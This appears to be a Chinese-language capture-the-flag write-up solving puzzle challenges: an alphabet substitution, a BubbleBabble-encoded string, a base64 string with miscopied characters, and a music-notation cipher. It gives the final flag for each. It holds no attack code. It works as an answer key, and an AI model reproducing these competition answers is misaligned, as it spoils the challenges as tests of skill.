这题明确说A是1,所以需要更换字母表为zabcdefghijklmnopqrstuvwxy
图中对应的数字为1 2 3 0 1 4 5 6 0
,对应字母abczadefz
给了一个文本
xivak-notuk-cupad-tarek-zesuk-zupid-taryk-zesak-cined-tetuk-nasuk-zoryd-tirak-zysek-zaryd-tyrik-nisyk-nenad-tituk-nysil-hepyd-tovak-zutik-cepyd-toral-husol-henud-titak-hesak-nyrud-tarik-netak-zapad-tupek-hysek-zuned-tytyk-zisuk-hyped-tymik-hysel-hepad-tomak-zysil-nunad-tytak-nirik-copud-tevok-zasyk-nypud-tyruk-niryk-henyd-tityk-zyral-nyred-taryk-zesek-corid-tipek-zysek-nunad-tytal-hitul-hepod-tovik-zurek-hupyd-tavil-hesuk-zined-tetuk-zatel-hopod-tevul-haruk-cupod-tavuk-zesol-ninid-tetok-nasyl-hopid-teryl-nusol-heped-tovuk-hasil-nenod-titek-zyryl-hiped-tivyk-cosok-zorud-tirel-hyrel-hinid-tetok-hirek-zyped-tyrel-hitul-nyrad-tarak-hotok-cuvux
第一次见这种加密,题目名的气泡应该是加密方法的提示,但是百度了一波没找到,最后看到有人提示说这是BubbleBabble
加密,使用工具CaptfEncoder
描述:老师让小明抄写一段话,结果粗心的小明把部分数字抄成了字母,还因为强迫症把所有字母都换成大写。你能帮小明恢复并解开答案吗:QWIHBLGZZXJSXZNVBZW
除此之外没有任何提示,只能一点点分析,小明把部分数字抄成了字母
对应下列几种可能:
大写字母:I->1 B->8 Z->2 S->5
下面的这些最后发现没用上
小写字母:q->9 i->1 b->6 l->1 z->2 s->5
可以发现如果小明把部分数字抄成字母的时候,同时有大写和小写字母,很明显会产生冲突(b和B),同时小写字母对应的情况更多更复杂,这题只有10分
所以先只考虑把数字抄成大写字母对应的四种情况,这四个大写字母在字符串里出现了7
次,对应有3^7
种可能性,所以原字符串的组成方式共有12^2*3^7=314928
种
列出来的结果是由大写字母
、小写字母
和数字
组成的,直接看看不出有什么意义,猜想是base64加密
,这里就写脚本慢慢跑,最后得出正确的结果QW1hbl92ZXJ5X2Nvb2w
base64解密即可得到flag
wp同2021年“春秋杯”新年欢乐赛–十二宫的挑衅
flag{alphananke}
直接给了一张图,我开始把这个当图片隐写去做的,后面才发现这不是杂项
前有棋圣师傅考围棋,现在又有师傅考乐谱了…
我不了解这个,拿去问了学音乐的同学,了解到这个是五线谱,还给我找了一张五线谱和简谱的对照表
貌似前进了一大步,但是这两个图看起来好像毫无关联,再次求助,下面原图翻译得来的简谱
对照表格,外面套一层flag{}
,得到假的flag:
flag{AGCBDGGACFFEDGGCCECCGB}
开始完全不知道哪里错了,后面偶然发现,如果用1
代表A
,2
代表B
,这样顺序排列,排到5(上面加两个点)
代表S
,因为只出现过这些音符
这样替换,得到:
FLAGISEMARKCISSOACHHLG
即:flag{EMARKCISSOACHHLG}